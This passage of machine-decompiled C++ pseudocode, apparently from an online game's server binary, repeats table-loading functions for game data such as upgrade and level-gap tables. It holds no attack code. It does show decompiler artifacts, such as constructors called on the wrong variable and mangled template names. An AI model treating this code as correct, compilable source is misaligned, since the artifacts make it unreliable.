ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GTWinScoreTable::GTWinScoreTable((GTWinScoreTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 1 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // C88F948: using guessed type int ITableBase_GTWinScore_GTWinScoreTable___ms_pkTable; //----- (005392D0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) AccUpGradeTable::AccUpGradeTable((AccUpGradeTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 81 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 1246AD78: using guessed type int ITableBase_AccUpgrade_AccUpGradeTable___ms_pkTable; //----- (005393A0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) MysteryVaultTable::MysteryVaultTable((MysteryVaultTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 134 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 1250D668: using guessed type int ITableBase_MysteryVaultServer_MysteryVaultTable___ms_pkTable; //----- (00539470) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) LevelGap_Player_to_Monster::LevelGap_Player_to_Monster((LevelGap_Player_to_Monster *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 7 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 1250D66C: using guessed type int ITableBase_DamageLvGapPVE_LevelGap_Player_to_Monster___ms_pkTable; //----- (00539540) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) LevelGap_Monster_to_Player::LevelGap_Monster_to_Player((LevelGap_Monster_to_Player *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 7 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 1250D670: using guessed type int ITableBase_DamageLvGapEVP_LevelGap_Monster_to_Player___ms_pkTable; //----- (00539610) -------------------------------------------------------- void *__thiscall AccUpGradeInfoTable::_scalar_deleting_destructor_(AccUpGradeInfoTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; AccUpGradeInfoTable::_AccUpGradeInfoTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00539630) -------------------------------------------------------- void *__thiscall IIDTableBase::_vector_deleting_destructor_(LevelGap_Player_to_Player *this, unsigned int a2) { void *v2; // esi@1 v2 = this; LevelGap_Player_to_Player::_LevelGap_Player_to_Player(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00539650) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // esi@2 int v5; // eax@7 const char *v6; // ecx@9 int v7; // edx@9 char v8; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC8u); v4 = (int)v3; if ( v3 ) { IIDTableBase::IIDTableBase((IIDTableBase *)v3); *(_DWORD *)v4 = &AccUpGradeInfoTable::_vftable_; v2 = v4; } else { v2 = 0; } ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v5 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v5 == 4043 ) { v6 = acFn; v7 = ITableBase::ms_pkTable + 64; do { v8 = *v6++; *(_BYTE *)v7++ = v8; } while ( v8 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v7) != 0; } else { result = 0; } return result; } // 5D4E64: using guessed type int (__cdecl *AccUpGradeInfoTable___vftable_)(int __formal); // 1250D674: using guessed type int ITableBase_AccUpGradeInfo_AccUpGradeInfoTable___ms_pkTable; //----- (00539730) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // esi@2 int v5; // eax@7 const char *v6; // ecx@9 int v7; // edx@9 char v8; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC8u); v4 = (int)v3; if ( v3 ) { IIDTableBase::IIDTableBase((IIDTableBase *)v3); *(_DWORD *)v4 = &LevelGap_Player_to_Player::_vftable_; v2 = v4; } else { v2 = 0; } ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v5 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v5 == 56776 ) { v6 = acFn; v7 = ITableBase::ms_pkTable + 64; do { v8 = *v6++; *(_BYTE *)v7++ = v8; } while ( v8 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v7) != 0; } else { result = 0; } return result; } // 5D4E78: using guessed type int (__cdecl *LevelGap_Player_to_Player___vftable_)(int __formal); // 1250D678: using guessed type int ITableBase_DamageLvGapPVP_LevelGap_Player_to_Player___ms_pkTable; //----- (00539810) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00539880) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@13 int v14; // [sp+50h] [bp-4h]@1 v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie(cookie); } //----- (005399E0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@13 int v14; // [sp+50h] [bp-4h]@1 v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie(cookie); } //----- (00539B40) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@13 int v14; // [sp+50h] [bp-4h]@1 v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie(cookie); } //----- (00539CA0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@13 int v14; // [sp+50h] [bp-4h]@1 v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie(cookie); } //----- (00539E00) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@13 int v14; // [sp+50h] [bp-4h]@1 v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie(cookie); } //----- (00539F60) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@13 int v14; // [sp+50h] [bp-4h]@1 v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie(cookie); } //----- (0053A0C0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@13 int v14; // [sp+50h] [bp-4h]@1 v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie(cookie); } //----- (0053A220) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@13 int v14; // [sp+50h] [bp-4h]@1 v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie(cookie); } //----- (0053A380) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@13 int v14; // [sp+50h] [bp-4h]@1 v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie(cookie); } //----- (0053A4E0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@13 int v14; // [sp+50h] [bp-4h]@1 v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie(cookie); } //----- (0053A640) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@13 int v14; // [sp+50h] [bp-4h]@1 v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie(cookie); } //----- (0053A7A0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] 